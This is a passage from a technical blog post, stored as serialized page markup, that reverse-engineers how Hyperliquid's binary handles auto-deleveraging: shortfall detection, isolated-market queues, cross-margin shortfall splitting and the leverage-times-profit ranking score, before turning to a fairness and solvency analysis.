",{"type":22,"tag":161186,"props":161187,"children":161190},"bndb-xref",{"lines":161188,"addrs":161189},"1-2","0x555556ac3e18-0x555556ac3e18",[161191],{"type":28,"value":161192},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":22,"tag":31,"props":161194,"children":161195},{},[161196,161198,161204,161206,161212,161214,161220,161222,161228],{"type":28,"value":161197},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":22,"tag":114,"props":161199,"children":161201},{"className":161200},[],[161202],{"type":28,"value":161203},"only_isolated",{"type":28,"value":161205}," (or ",{"type":22,"tag":114,"props":161207,"children":161209},{"className":161208},[],[161210],{"type":28,"value":161211},"strict_isolated",{"type":28,"value":161213}," in MessagePack dumps) are added to a separate queue, ",{"type":22,"tag":114,"props":161215,"children":161217},{"className":161216},[],[161218],{"type":28,"value":161219},"deferred_queue",{"type":28,"value":161221},", which triggers ADL regardless of the system's ",{"type":22,"tag":114,"props":161223,"children":161225},{"className":161224},[],[161226],{"type":28,"value":161227},"total_shortfall",{"type":28,"value":161229},". This is dictated by this branch.",{"type":22,"tag":160642,"props":161231,"children":161234},{"addr":161013,"line-start":161232,"line-end":161233},"211","243",[],{"type":22,"tag":31,"props":161236,"children":161237},{},[161238,161240,161247],{"type":28,"value":161239},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":22,"tag":42,"props":161241,"children":161244},{"href":161242,"rel":161243},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[46],[161245],{"type":28,"value":161246},"March 2025 incident",{"type":28,"value":161248},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":22,"tag":1899,"props":161250,"children":161252},{"id":161251},"how-do-we-get-rid-of-debt",[161253],{"type":28,"value":161254},"How Do We Get Rid of Debt?",{"type":22,"tag":31,"props":161256,"children":161257},{},[161258],{"type":28,"value":161259},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":22,"tag":31,"props":161261,"children":161262},{},[161263,161265,161270,161272,161277,161279,161284],{"type":28,"value":161264},"Thus, if the debt is insurmountable, the ",{"type":22,"tag":114,"props":161266,"children":161268},{"className":161267},[],[161269],{"type":28,"value":161219},{"type":28,"value":161271}," is overwritten by all the users marked by ",{"type":22,"tag":114,"props":161273,"children":161275},{"className":161274},[],[161276],{"type":28,"value":161115},{"type":28,"value":161278},", otherwise we keep it and only holders of underwater ",{"type":22,"tag":114,"props":161280,"children":161282},{"className":161281},[],[161283],{"type":28,"value":161211},{"type":28,"value":161285}," positions from the earlier loop are considered for ADL.",{"type":22,"tag":160611,"props":161287,"children":161288},{},[161289],{"type":22,"tag":31,"props":161290,"children":161291},{},[161292],{"type":28,"value":161293},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":22,"tag":160642,"props":161295,"children":161298},{"addr":161013,"line-start":161296,"line-end":161297},"523","526",[],{"type":22,"tag":31,"props":161300,"children":161301},{},[161302,161304,161310,161312,161318,161320,161325],{"type":28,"value":161303},"For each underwater position, we do a ",{"type":22,"tag":161186,"props":161305,"children":161307},{"addrs":161306},"0x555556ac42ad-0x555556ac42be",[161308],{"type":28,"value":161309},"B-tree lookup",{"type":28,"value":161311}," on ",{"type":22,"tag":114,"props":161313,"children":161315},{"className":161314},[],[161316],{"type":28,"value":161317},"clearinghouse.user_states[position.user]",{"type":28,"value":161319},", adding them to a ",{"type":22,"tag":114,"props":161321,"children":161323},{"className":161322},[],[161324],{"type":28,"value":3789},{"type":28,"value":161326}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":22,"tag":160642,"props":161328,"children":161331},{"addr":161013,"line-start":161329,"line-end":161330},"635","658",[],{"type":22,"tag":31,"props":161333,"children":161334},{},[161335],{"type":28,"value":161336},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":22,"tag":107,"props":161338,"children":161339},{},[161340],{"type":22,"tag":114,"props":161341,"children":161343},{"className":161342},[5995,160670],[161344],{"type":22,"tag":118,"props":161345,"children":161347},{"className":161346},[160675],[161348],{"type":22,"tag":118,"props":161349,"children":161351},{"className":161350},[6001],[161352],{"type":22,"tag":118,"props":161353,"children":161355},{"className":161354,"ariaHidden":6007},[6006],[161356],{"type":22,"tag":118,"props":161357,"children":161359},{"className":161358},[6012],[161360,161365],{"type":22,"tag":118,"props":161361,"children":161364},{"className":161362,"style":161363},[6017],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":22,"tag":118,"props":161366,"children":161368},{"className":161367},[6023],[161369],{"type":22,"tag":118,"props":161370,"children":161373},{"className":161371},[161372],"mtable",[161374,161454],{"type":22,"tag":118,"props":161375,"children":161378},{"className":161376},[161377],"col-align-r",[161379],{"type":22,"tag":118,"props":161380,"children":161382},{"className":161381},[6045,23596],[161383,161442],{"type":22,"tag":118,"props":161384,"children":161386},{"className":161385},[6050],[161387,161437],{"type":22,"tag":118,"props":161388,"children":161391},{"className":161389,"style":161390},[6055],"height:2.3452em;",[161392,161415],{"type":22,"tag":118,"props":161393,"children":161395},{"style":161394},"top:-4.3452em;",[161396,161401],{"type":22,"tag":118,"props":161397,"children":161400},{"className":161398,"style":161399},[6064],"height:3.3944em;",[],{"type":22,"tag":118,"props":161402,"children":161404},{"className":161403},[6023],[161405],{"type":22,"tag":118,"props":161406,"children":161408},{"className":161407},[6023,28],[161409],{"type":22,"tag":118,"props":161410,"children":161412},{"className":161411},[6023],[161413],{"type":28,"value":161414},"position_weight",{"type":22,"tag":118,"props":161416,"children":161418},{"style":161417},"top:-2.2092em;",[161419,161423],{"type":22,"tag":118,"props":161420,"children":161422},{"className":161421,"style":161399},[6064],[],{"type":22,"tag":118,"props":161424,"children":161426},{"className":161425},[6023],[161427],{"type":22,"tag":118,"props":161428,"children":161430},{"className":161429},[6023,28],[161431],{"type":22,"tag":118,"props":161432,"children":161434},{"className":161433},[6023],[161435],{"type":28,"value":161436},"position_adl_amount",{"type":22,"tag":118,"props":161438,"children":161440},{"className":161439},[23699],[161441],{"type":28,"value":23702},{"type":22,"tag":118,"props":161443,"children":161445},{"className":161444},[6050],[161446],{"type":22,"tag":118,"props":161447,"children":161450},{"className":161448,"style":161449},[6055],"height:1.8452em;",[161451],{"type":22,"tag":118,"props":161452,"children":161453},{},[],{"type":22,"tag":118,"props":161455,"children":161458},{"className":161456},[161457],"col-align-l",[161459],{"type":22,"tag":118,"props":161460,"children":161462},{"className":161461},[6045,23596],[161463,161664],{"type":22,"tag":118,"props":161464,"children":161466},{"className":161465},[6050],[161467,161659],{"type":22,"tag":118,"props":161468,"children":161470},{"className":161469,"style":161390},[6055],[161471,161599],{"type":22,"tag":118,"props":161472,"children":161473},{"style":161394},[161474,161478],{"type":22,"tag":118,"props":161475,"children":161477},{"className":161476,"style":161399},[6064],[],{"type":22,"tag":118,"props":161479,"children":161481},{"className":161480},[6023],[161482,161486,161490,161495,161499],{"type":22,"tag":118,"props":161483,"children":161485},{"className":161484},[6023],[],{"type":22,"tag":118,"props":161487,"children":161489},{"className":161488,"style":6202},[6104],[],{"type":22,"tag":118,"props":161491,"children":161493},{"className":161492},[6207],[161494],{"type":28,"value":282},{"type":22,"tag":118,"props":161496,"children":161498},{"className":161497,"style":6202},[6104],[],{"type":22,"tag":118,"props":161500,"children":161502},{"className":161501},[6023],[161503,161507,161595],{"type":22,"tag":118,"props":161504,"children":161506},{"className":161505},[23671,115161],[],{"type":22,"tag":118,"props":161508,"children":161510},{"className":161509},[115166],[161511],{"type":22,"tag":118,"props":161512,"children":161514},{"className":161513},[6045,23596],[161515,161583],{"type":22,"tag":118,"props":161516,"children":161518},{"className":161517},[6050],[161519,161578],{"type":22,"tag":118,"props":161520,"children":161523},{"className":161521,"style":161522},[6055],"height:1.3944em;",[161524,161545,161556],{"type":22,"tag":118,"props":161525,"children":161526},{"style":160752},[161527,161531],{"type":22,"tag":118,"props":161528,"children":161530},{"className":161529,"style":113814},[6064],[],{"type":22,"tag":118,"props":161532,"children":161534},{"className":161533},[6023],[161535],{"type":22,"tag":118,"props":161536,"children":161538},{"className":161537},[6023,28],[161539],{"type":22,"tag":118,"props":161540,"children":161542},{"className":161541},[6023],[161543],{"type":28,"value":161544},"total_cross_notional",{"type":22,"tag":118,"props":161546,"children":161547},{"style":115216},[161548,161552],{"type":22,"tag":118,"props":161549,"children":161551},{"className":161550,"style":113814},[6064],[],{"type":22,"tag":118,"props":161553,"children":161555},{"className":161554,"style":115226},[115225],[],{"type":22,"tag":118,"props":161557,"children":161559},{"style":161558},"top:-3.7em;",[161560,161564],{"type":22,"tag":118,"props":161561,"children":161563},{"className":161562,"style":113814},[6064],[],{"type":22,"tag":118,"props":161565,"children":161567},{"className":161566},[6023],[161568],{"type":22,"tag":118,"props":161569,"children":161571},{"className":161570},[6023,28],[161572],{"type":22,"tag":118,"props":161573,"children":161575},{"className":161574},[6023],[161576],{"type":28,"value":161577},"position_notional",{"type":22,"tag":118,"props":161579,"children":161581},{"className":161580},[23699],[161582],{"type":28,"value":23702},{"type":22,"tag":118,"props":161584,"children":161586},{"className":161585},[6050],[161587],{"type":22,"tag":118,"props":161588,"children":161591},{"className":161589,"style":161590},[6055],"height:0.996em;",[161592],{"type":22,"tag":118,"props":161593,"children":161594},{},[],{"type":22,"tag":118,"props":161596,"children":161598},{"className":161597},[23693,115161],[],{"type":22,"tag":118,"props":161600,"children":161601},{"style":161417},[161602,161606],{"type":22,"tag":118,"props":161603,"children":161605},{"className":161604,"style":161399},[6064],[],{"type":22,"tag":118,"props":161607,"children":161609},{"className":161608},[6023],[161610,161614,161618,161623,161627,161637,161641,161646,161650],{"type":22,"tag":118,"props":161611,"children":161613},{"className":161612},[6023],[],{"type":22,"tag":118,"props":161615,"children":161617},{"className":161616,"style":6202},[6104],[],{"type":22,"tag":118,"props":161619,"children":161621},{"className":161620},[6207],[161622],{"type":28,"value":282},{"type":22,"tag":118,"props":161624,"children":161626},{"className":161625,"style":6202},[6104],[],{"type":22,"tag":118,"props":161628,"children":161630},{"className":161629},[6023,28],[161631],{"type":22,"tag":118,"props":161632,"children":161634},{"className":161633},[6023],[161635],{"type":28,"value":161636},"user_shortfall",{"type":22,"tag":118,"props":161638,"children":161640},{"className":161639,"style":6105},[6104],[],{"type":22,"tag":118,"props":161642,"children":161644},{"className":161643},[6110],[161645],{"type":28,"value":112905},{"type":22,"tag":118,"props":161647,"children":161649},{"className":161648,"style":6105},[6104],[],{"type":22,"tag":118,"props":161651,"children":161653},{"className":161652},[6023,28],[161654],{"type":22,"tag":118,"props":161655,"children":161657},{"className":161656},[6023],[161658],{"type":28,"value":161414},{"type":22,"tag":118,"props":161660,"children":161662},{"className":161661},[23699],[161663],{"type":28,"value":23702},{"type":22,"tag":118,"props":161665,"children":161667},{"className":161666},[6050],[161668],{"type":22,"tag":118,"props":161669,"children":161671},{"className":161670,"style":161449},[6055],[161672],{"type":22,"tag":118,"props":161673,"children":161674},{},[],{"type":22,"tag":31,"props":161676,"children":161677},{},[161678],{"type":28,"value":161679},"We do that here:",{"type":22,"tag":160642,"props":161681,"children":161684},{"addr":161013,"line-start":161682,"line-end":161683},"828","981",[],{"type":22,"tag":31,"props":161686,"children":161687},{},[161688,161689,161695,161697,161703],{"type":28,"value":2743},{"type":22,"tag":161186,"props":161690,"children":161692},{"lines":161691},"77-79",[161693],{"type":28,"value":161694},"inner loop",{"type":28,"value":161696}," above spans all ",{"type":22,"tag":114,"props":161698,"children":161700},{"className":161699},[],[161701],{"type":28,"value":161702},"(asset_idx, direction)",{"type":28,"value":161704}," held in the cross margin position.",{"type":22,"tag":31,"props":161706,"children":161707},{},[161708,161710,161716,161718,161724,161725,161731],{"type":28,"value":161709},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":22,"tag":114,"props":161711,"children":161713},{"className":161712},[],[161714],{"type":28,"value":161715},"adl_output",{"type":28,"value":161717}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":22,"tag":114,"props":161719,"children":161721},{"className":161720},[],[161722],{"type":28,"value":161723},"position_id",{"type":28,"value":12991},{"type":22,"tag":114,"props":161726,"children":161728},{"className":161727},[],[161729],{"type":28,"value":161730},"position_shortfall",{"type":28,"value":292},{"type":22,"tag":160642,"props":161733,"children":161736},{"addr":161013,"line-start":161734,"line-end":161735},"2377","2469",[],{"type":22,"tag":31,"props":161738,"children":161739},{},[161740,161742,161748],{"type":28,"value":161741},"Afterwards we can finally loop over the B-tree containing ",{"type":22,"tag":114,"props":161743,"children":161745},{"className":161744},[],[161746],{"type":28,"value":161747},"(position_id, cut)",{"type":28,"value":161749},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":22,"tag":31,"props":161751,"children":161752},{},[161753,161755,161760],{"type":28,"value":161754},"The final phase of ",{"type":22,"tag":114,"props":161756,"children":161758},{"className":161757},[],[161759],{"type":28,"value":160967},{"type":28,"value":161761}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":22,"tag":160642,"props":161763,"children":161766},{"addr":161013,"addr-start":161764,"addr-end":161765},"0x555556ac6d52","0x555556ac6de8",[],{"type":22,"tag":31,"props":161768,"children":161769},{},[161770],{"type":28,"value":161771},"How are positions chosen (sorted) to be deleveraged?",{"type":22,"tag":37313,"props":161773,"children":161775},{"id":161774},"who-do-we-deleverage",[161776],{"type":28,"value":161777},"Who Do We Deleverage?",{"type":22,"tag":31,"props":161779,"children":161780},{},[161781],{"type":28,"value":161782},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":22,"tag":31,"props":161784,"children":161785},{},[161786],{"type":28,"value":161787},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":22,"tag":31,"props":161789,"children":161790},{},[161791,161793,161800],{"type":28,"value":161792},"More formally, fairness can be given multiple related definitions; see ",{"type":22,"tag":42,"props":161794,"children":161797},{"href":161795,"rel":161796},"https://arxiv.org/abs/2512.01112",[46],[161798],{"type":28,"value":161799},"this paper",{"type":28,"value":161801},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":22,"tag":31,"props":161803,"children":161804},{},[161805],{"type":28,"value":161806},"So, is Hyperliquid fair? Is it always solvent?",{"type":22,"tag":23,"props":161808,"children":161810},{"id":161809},"adl-score-computation",[161811],{"type":28,"value":161812},"ADL Score Computation",{"type":22,"tag":31,"props":161814,"children":161815},{},[161816,161818,161824,161826,161832,161834,161839],{"type":28,"value":161817},"The score function at ",{"type":22,"tag":114,"props":161819,"children":161821},{"className":161820},[],[161822],{"type":28,"value":161823},"compute_adl_ranking_score",{"type":28,"value":161825}," is core to answering this question. It's defined, most likely as an ",{"type":22,"tag":114,"props":161827,"children":161829},{"className":161828},[],[161830],{"type":28,"value":161831},"Ord",{"type":28,"value":161833}," implementation on some 20-byte address representation. A ",{"type":22,"tag":114,"props":161835,"children":161837},{"className":161836},[],[161838],{"type":28,"value":3789},{"type":28,"value":161840}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":22,"tag":31,"props":161842,"children":161843},{},[161844,161846,161851,161853,161859,161861,161868,161870,161877],{"type":28,"value":161845},"Those sort routines are ",{"type":22,"tag":4764,"props":161847,"children":161848},{},[161849],{"type":28,"value":161850},"generated by the compiler",{"type":28,"value":161852},": since Rust binaries include a lot of metadata by default in ",{"type":22,"tag":114,"props":161854,"children":161856},{"className":161855},[],[161857],{"type":28,"value":161858},".comment",{"type":28,"value":161860},", we may even manually ",{"type":22,"tag":42,"props":161862,"children":161865},{"href":161863,"rel":161864},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[46],[161866],{"type":28,"value":161867},"take advantage",{"type":28,"value":161869}," of this to recover the ",{"type":22,"tag":42,"props":161871,"children":161874},{"href":161872,"rel":161873},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[46],[161875],{"type":28,"value":161876},"exact source of library functions",{"type":28,"value":292},{"type":22,"tag":31,"props":161879,"children":161880},{},[161881,161883,161888],{"type":28,"value":161882},"Let's see how this ties back into the ",{"type":22,"tag":114,"props":161884,"children":161886},{"className":161885},[],[161887],{"type":28,"value":160967},{"type":28,"value":213},{"type":22,"tag":160642,"props":161890,"children":161892},{"source":160967,"target":161823,"direction":160968,"path":161891},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":22,"tag":31,"props":161894,"children":161895},{},[161896],{"type":28,"value":161897},"And here's the main call site used for sorting:",{"type":22,"tag":160642,"props":161899,"children":161902},{"addr":161013,"line-start":161900,"line-end":161901},"2806","2814",[],{"type":22,"tag":23,"props":161904,"children":161906},{"id":161905},"ratio-1-effective-leverage",[161907],{"type":28,"value":161908},"Ratio 1: Effective Leverage",{"type":22,"tag":107,"props":161910,"children":161911},{},[161912],{"type":22,"tag":114,"props":161913,"children":161915},{"className":161914},[5995,160670],[161916],{"type":22,"tag":118,"props":161917,"children":161919},{"className":161918},[160675],[161920],{"type":22,"tag":118,"props":161921,"children":161923},{"className":161922},[6001],[161924],{"type":22,"tag":118,"props":161925,"children":161927},{"className":161926,"ariaHidden":6007},[6006],[161928,161959],{"type":22,"tag":118,"props":161929,"children":161931},{"className":161930},[6012],[161932,161936,161946,161950,161955],{"type":22,"tag":118,"props":161933,"children":161935},{"className":161934,"style":116698},[6017],[],{"type":22,"tag":118,"props":161937,"children":161939},{"className":161938},[6023,28],[161940],{"type":22,"tag":118,"props":161941,"children":161943},{"className":161942},[6023],[161944],{"type":28,"value":161945},"effective leverage",{"type":22,"tag":118,"props":161947,"children":161949},{"className":161948,"style":6202},[6104],[],{"type":22,"tag":118,"props":161951,"children":161953},{"className":161952},[6207],[161954],{"type":28,"value":282},{"type":22,"tag":118,"props":161956,"children":161958},{"className":161957,"style":6202},[6104],[],{"type":22,"tag":118,"props":161960,"children":161962},{"className":161961},[6012],[161963,161968],{"type":22,"tag":118,"props":161964,"children":161967},{"className":161965,"style":161966},[6017],"height:2.113em;vertical-align:-0.686em;",[],{"type":22,"tag":118,"props":161969,"children":161971},{"className":161970},[6023],[161972,161976,162071],{"type":22,"tag":118,"props":161973,"children":161975},{"className":161974},[23671,115161],[],{"type":22,"tag":118,"props":161977,"children":161979},{"className":161978},[115166],[161980],{"type":22,"tag":118,"props":161981,"children":161983},{"className":161982},[6045,23596],[161984,162059],{"type":22,"tag":118,"props":161985,"children":161987},{"className":161986},[6050],[161988,162054],{"type":22,"tag":118,"props":161989,"children":161991},{"className":161990,"style":160748},[6055],[161992,162013,162024],{"type":22,"tag":118,"props":161993,"children":161994},{"style":160752},[161995,161999],{"type":22,"tag":118,"props":161996,"children":161998},{"className":161997,"style":113814},[6064],[],{"type":22,"tag":118,"props":162000,"children":162002},{"className":162001},[6023],[162003],{"type":22,"tag":118,"props":162004,"children":162006},{"className":162005},[6023,28],[162007],{"type":22,"tag":118,"props":162008,"children":162010},{"className":162009},[6023],[162011],{"type":28,"value":162012},"account value",{"type":22,"tag":118,"props":162014,"children":162015},{"style":115216},[162016,162020],{"type":22,"tag":118,"props":162017,"children":162019},{"className":162018,"style":113814},[6064],[],{"type":22,"tag":118,"props":162021,"children":162023},{"className":162022,"style":115226},[115225],[],{"type":22,"tag":118,"props":162025,"children":162026},{"style":160803},[162027,162031],{"type":22,"tag":118,"props":162028,"children":162030},{"className":162029,"style":113814},[6064],[],{"type":22,"tag":118,"props":162032,"children":162034},{"className":162033},[6023],[162035,162040,162049],{"type":22,"tag":118,"props":162036,"children":162038},{"className":162037},[6023],[162039],{"type":28,"value":160818},{"type":22,"tag":118,"props":162041,"children":162043},{"className":162042},[6023,28],[162044],{"type":22,"tag":118,"props":162045,"children":162047},{"className":162046},[6023],[162048],{"type":28,"value":160828},{"type":22,"tag":118,"props":162050,"children":162052},{"className":162051},[6023],[162053],{"type":28,"value":160818},{"type":22,"tag":118,"props":162055,"children":162057},{"className":162056},[23699],[162058],{"type":28,"value":23702},{"type":22,"tag":118,"props":162060,"children":162062},{"className":162061},[6050],[162063],{"type":22,"tag":118,"props":162064,"children":162067},{"className":162065,"style":162066},[6055],"height:0.686em;",[162068],{"type":22,"tag":118,"props":162069,"children":162070},{},[],{"type":22,"tag":118,"props":162072,"children":162074},{"className":162073},[23693,115161],[],{"type":22,"tag":31,"props":162076,"children":162077},{},[162078,162080,162086,162088,162094,162095,162101,162103,162109],{"type":28,"value":162079},"We can see in the decompilation below, through the SIMD noise, that ",{"type":22,"tag":114,"props":162081,"children":162083},{"className":162082},[],[162084],{"type":28,"value":162085},"abs_notional",{"type":28,"value":162087}," (unsigned), and ",{"type":22,"tag":114,"props":162089,"children":162091},{"className":162090},[],[162092],{"type":28,"value":162093},"float.d(rbx)",{"type":28,"value":7511},{"type":22,"tag":114,"props":162096,"children":162098},{"className":162097},[],[162099],{"type":28,"value":162100},"account_value",{"type":28,"value":162102}," (signed); the division is ",{"type":22,"tag":114,"props":162104,"children":162106},{"className":162105},[],[162107],{"type":28,"value":162108},"abs_notional / account_value",{"type":28,"value":292},{"type":22,"tag":31,"props":162111,"children":162112},{},[162113],{"type":28,"value":162114},"This tells us the risk multiplier that the user took on for this position.",{"type":22,"tag":160642,"props":162116,"children":162120},{"addr":162117,"line-start":162118,"line-end":162119},"0x555556abb140","278","296",[],{"type":22,"tag":23,"props":162122,"children":162124},{"id":162123},"ratio-2-profit-ratio",[162125],{"type":28,"value":162126},"Ratio 2: Profit Ratio",{"type":22,"tag":107,"props":162128,"children":162129},{},[162130],{"type":22,"tag":114,"props":162131,"children":162133},{"className":162132},[5995,160670],[162134],{"type":22,"tag":118,"props":162135,"children":162137},{"className":162136},[160675],[162138],{"type":22,"tag":118,"props":162139,"children":162141},{"className":162140},[6001],[162142],{"type":22,"tag":118,"props":162143,"children":162145},{"className":162144,"ariaHidden":6007},[6006],[162146,162177],{"type":22,"tag":118,"props":162147,"children":162149},{"className":162148},[6012],[162150,162154,162164,162168,162173],{"type":22,"tag":118,"props":162151,"children":162153},{"className":162152,"style":116698},[6017],[],{"type":22,"tag":118,"props":162155,"children":162157},{"className":162156},[6023,28],[162158],{"type":22,"tag":118,"props":162159,"children":162161},{"className":162160},[6023],[162162],{"type":28,"value":162163},"profit ratio",{"type":22,"tag":118,"props":162165,"children":162167},{"className":162166,"style":6202},[6104],[],{"type":22,"tag":118,"props":162169,"children":162171},{"className":162170},[6207],[162172],{"type":28,"value":282},{"type":22,"tag":118,"props":162174,"children":162176},{"className":162175,"style":6202},[6104],[],{"type":22,"tag":118,"props":162178,"children":162180},{"className":162179},[6012],[162181,162185],{"type":22,"tag":118,"props":162182,"children":162184},{"className":162183,"style":160723},[6017],[],{"type":22,"tag":118,"props":162186,"children":162188},{"className":162187},[6023],[162189,162193,162312],{"type":22,"tag":118,"props":162190,"children":162192},{"className":162191},[23671,115161],[],{"type":22,"tag":118,"props":162194,"children":162196},{"className":162195},[115166],[162197],{"type":22,"tag":118,"props":162198,"children":162200},{"className":162199},[6045,23596],[162201,162301],{"type":22,"tag":118,"props":162202,"children":162204},{"className":162203},[6050],[162205,162296],{"type":22,"tag":118,"props":162206,"children":162208},{"className":162207,"style":160748},[6055],[162209,162230,162241],{"type":22,"tag":118,"props":162210,"children":162211},{"style":160752},[162212,162216],{"type":22,"tag":118,"props":162213,"children":162215},{"className":162214,"style":113814},[6064],[],{"type":22,"tag":118,"props":162217,"children":162219},{"className":162218},[6023],[162220],{"type":22,"tag":118,"props":162221,"children":162223},{"className":162222},[6023,28],[162224],{"type":22,"tag":118,"props":162225,"children":162227},{"className":162226},[6023],[162228],{"type":28,"value":162229},"entry notional",{"type":22,"tag":118,"props":162231,"children":162232},{"style":115216},[162233,162237],{"type":22,"tag":118,"props":162234,"children":162236},{"className":162235,"style":113814},[6064],[],{"type":22,"tag":118,"props":162238,"children":162240},{"className":162239,"style":115226},[115225],[],{"type":22,"tag":118,"props":162242,"children":162243},{"style":160803},[162244,162248],{"type":22,"tag":118,"props":162245,"children":162247},{"className":162246,"style":113814},[6064],[],{"type":22,"tag":118,"props":162249,"children":162251},{"className":162250},[6023],[162252,162258,162263,162273,162278,162282,162286,162291],{"type":22,"tag":118,"props":162253,"children":162255},{"className":162254},[23578],[162256],{"type":28,"value":162257},"max",{"type":22,"tag":118,"props":162259,"children":162261},{"className":162260},[23671],[162262],{"type":28,"value":540},{"type":22,"tag":118,"props":162264,"children":162266},{"className":162265},[6023,28],[162267],{"type":22,"tag":118,"props":162268,"children":162270},{"className":162269},[6023],[162271],{"type":28,"value":162272},"pnl",{"type":22,"tag":118,"props":162274,"children":162276},{"className":162275},[6136],[162277],{"type":28,"value":6139},{"type":22,"tag":118,"props":162279,"children":162281},{"className":162280,"style":6143},[6104],[],{"type":22,"tag":118,"props":162283,"children":162285},{"className":162284,"style":6143},[6104],[],{"type":22,"tag":118,"props":162287,"children":162289},{"className":162288},[6023],[162290],{"type":28,"value":6036},{"type":22,"tag":118,"props":162292,"children":162294},{"className":162293},[23693],[162295],{"type":28,"value":3627},{"type":22,"tag":118,"props":162297,"children":162299},{"className":162298},[23699],[162300],{"type":28,"value":23702},{"type":22,"tag":118,"props":162302,"children":162304},{"className":162303},[6050],[162305],{"type":22,"tag":118,"props":162306,"children":162308},{"className":162307,"style":160846},[6055],[162309],{"type":22,"tag":118,"props":162310,"children":162311},{},[],{"type":22,"tag":118,"props":162313,"children":162315},{"className":162314},[23693,115161],[],{"type":22,"tag":31,"props":162317,"children":162318},{},[162319,162321,162327],{"type":28,"value":162320},"It uses entry notional (",{"type":22,"tag":114,"props":162322,"children":162324},{"className":162323},[],[162325],{"type":28,"value":162326},"r14_2",{"type":28,"value":162328},") as the divisor. PNL is clamped to non-negative before division.",{"type":22,"tag":31,"props":162330,"children":162331},{},[162332],{"type":28,"value":162333},"This basically tells us how well the user's bet went.",{"type":22,"tag":160642,"props":162335,"children":162339},{"addr":162336,"addr-start":162337,"addr-end":162338},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":22,"tag":31,"props":162341,"children":162342},{},[162343,162345,162351,162353,162359],{"type":28,"value":162344},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":22,"tag":114,"props":162346,"children":162348},{"className":162347},[],[162349],{"type":28,"value":162350},"1e-8",{"type":28,"value":162352},", in order not to cancel each other out. The final ADL ranking score is ",{"type":22,"tag":114,"props":162354,"children":162356},{"className":162355},[],[162357],{"type":28,"value":162358},"effective_leverage * profit_ratio",{"type":28,"value":162360},", consistent with both ratio directions and the max clamp on PNL.",{"type":22,"tag":31,"props":162362,"children":162363},{},[162364],{"type":28,"value":162365},"So, in essence, we look for risky and profitable positions!",{"type":22,"tag":1289,"props":162367,"children":162369},{"id":162368},"partial-and-total-adl",[162370],{"type":28,"value":162371},"Partial and Total ADL",{"type":22,"tag":31,"props":162373,"children":162374},{},[162375],{"type":28,"value":162376},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":22,"tag":31,"props":162378,"children":162379},{},[162380],{"type":28,"value":162381},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":22,"tag":31,"props":162383,"children":162384},{},[162385,162387,162392],{"type":28,"value":162386},"So essentially, in pseudocode, the whole latter part of ",{"type":22,"tag":114,"props":162388,"children":162390},{"className":162389},[],[162391],{"type":28,"value":160967},{"type":28,"value":162393}," boils down to:",{"type":22,"tag":160642,"props":162395,"children":162398},{"addr":161013,"line-start":162396,"line-end":162397},"3252","3632",[],{"type":22,"tag":31,"props":162400,"children":162401},{},[162402],{"type":28,"value":162403},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":22,"tag":37313,"props":162405,"children":162407},{"id":162406},"branches",[162408],{"type":28,"value":162409},"Branches",{"type":22,"tag":31,"props":162411,"children":162412},{},[162413],{"type":28,"value":162414},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":22,"tag":31,"props":162416,"children":162417},{},[162418],{"type":28,"value":162419},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":22,"tag":37313,"props":162421,"children":162423},{"id":162422},"financial-conclusions",[162424],{"type":28,"value":162425},"Financial Conclusions",{"type":22,"tag":23,"props":162427,"children":162429},{"id":162428},"fairness-revenue-solvency-trilemma",[162430],{"type":28,"value":162431},"Fairness, Revenue, Solvency Trilemma",{"type":22,"tag":31,"props":162433,"children":162434},{},[162435,162437,162443],{"type":28,"value":162436},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":22,"tag":42,"props":162438,"children":162440},{"href":161795,"rel":162439},[46],[162441],{"type":28,"value":162442},"the paper mentioned before",{"type":28,"value":162444},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":22,"tag":64,"props":162446,"children":162447},{},[162448,162458,162468],{"type":22,"tag":68,"props":162449,"children":162450},{},[162451,162456],{"type":22,"tag":4764,"props":162452,"children":162453},{},[162454],{"type":28,"value":162455},"Solvency",{"type":28,"value":162457},": can the platform pay every trader 